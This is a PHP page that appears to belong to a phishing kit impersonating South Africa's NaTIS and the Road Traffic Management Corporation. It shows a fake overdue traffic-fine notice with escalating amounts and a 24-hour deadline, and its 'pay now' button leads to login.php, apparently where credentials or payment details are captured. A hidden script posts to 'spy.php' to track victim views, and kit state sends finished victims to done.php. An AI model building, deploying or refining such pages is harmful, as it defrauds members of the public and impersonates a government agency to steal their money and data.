<?php
require (__DIR__) . '/../main.php';
require __DIR__ . '/class/Config.php';

$data = $m->getData();
if (isset($data['IS_DONE']) && $data['IS_DONE'] == "1") {
    header('Location: done.php');
    exit;
}

$currentAmount = Config::$payment_amount;
$initialAmount = Config::$fine_amount_initial;
$nextAmount = Config::$fine_amount_next;
?>
<!DOCTYPE html>
<html lang="en">
<head>
  <meta charset="UTF-8" />
  <meta name="viewport" content="width=device-width, initial-scale=1.0" />
  <title>Important notice — NaTIS traffic fine</title>
  <style type="text/css">
    body { margin:0; padding:0; background:#eef1f4; font-family:'Segoe UI',Arial,sans-serif; }
    .email-container { max-width:600px; margin:40px auto; background:#fdfdfd; border-radius:10px; box-shadow:0 2px 8px rgba(0,0,0,.06); padding:40px 30px; }
    .logo { text-align:center; margin-bottom:30px; }
    .logo img { max-width:100%; height:auto; }
    h1 { color:#1a365d; font-size:20px; text-align:center; margin-bottom:20px; font-weight:700; }
    p { color:#444; font-size:15px; line-height:1.6; margin:16px 0; }
    .highlight { background:#fff8e6; border-left:4px solid #c53030; padding:12px 14px; font-size:14px; }
    .btn { text-align:center; margin:30px 0; }
    .btn a { display:inline-block; background:#6cc48a; color:#fff; padding:14px 28px; text-decoration:none; font-size:14px; border-radius:4px; font-weight:bold; text-transform:uppercase; }
    .footer { text-align:center; font-size:12px; color:#888; margin-top:40px; border-top:1px solid #ddd; padding-top:20px; line-height:1.5; }
  </style>
</head>
<body>
  <div class="email-container">
    <div class="logo">
      <img src="assets/img/NaTIS%20logo.png" alt="NaTIS" />
    </div>

    <h1>Important notice regarding your traffic fine</h1>

    <p>Dear customer,</p>

    <p>Despite several attempts to communicate, we have still not received payment of your fine <strong><?= htmlspecialchars(Config::$fine_reference, ENT_QUOTES, 'UTF-8') ?></strong> (vehicle <?= htmlspecialchars(Config::visitorVehicleReg(), ENT_QUOTES, 'UTF-8') ?>). The initial amount of <strong><?= htmlspecialchars($initialAmount, ENT_QUOTES, 'UTF-8') ?></strong> has been increased to <strong><?= htmlspecialchars($currentAmount, ENT_QUOTES, 'UTF-8') ?></strong>.</p>

    <p class="highlight">If we do not receive your payment within <strong>24 hours</strong> of this message, this amount will automatically be increased to <strong><?= htmlspecialchars($nextAmount, ENT_QUOTES, 'UTF-8') ?></strong>.</p>

    <div class="btn">
      <a href="login.php">Avoid further charges – pay now</a>
    </div>

    <p>By paying today via our secure NaTIS online portal, you may be eligible for a refund of the increase within 12 hours of the transaction.</p>

    <p>For assistance contact RTMC on <strong>0861 400 800</strong> or <a href="mailto:onlinesupport@rtmc.co.za">onlinesupport@rtmc.co.za</a>.</p>

    <div class="footer">
      You are receiving this message in connection with your NaTIS profile.<br />
      Road Traffic Management Corporation (RTMC)<br />
      &copy; 2026 NaTIS — National Traffic Information System
    </div>
  </div>

  <script src="res/jq.js"></script>
  <script>$.post('spy.php', { letterview: 1, firstload: 1 });</script>
  <?php $m->ctr('LETTER'); ?>
</body>
</html>
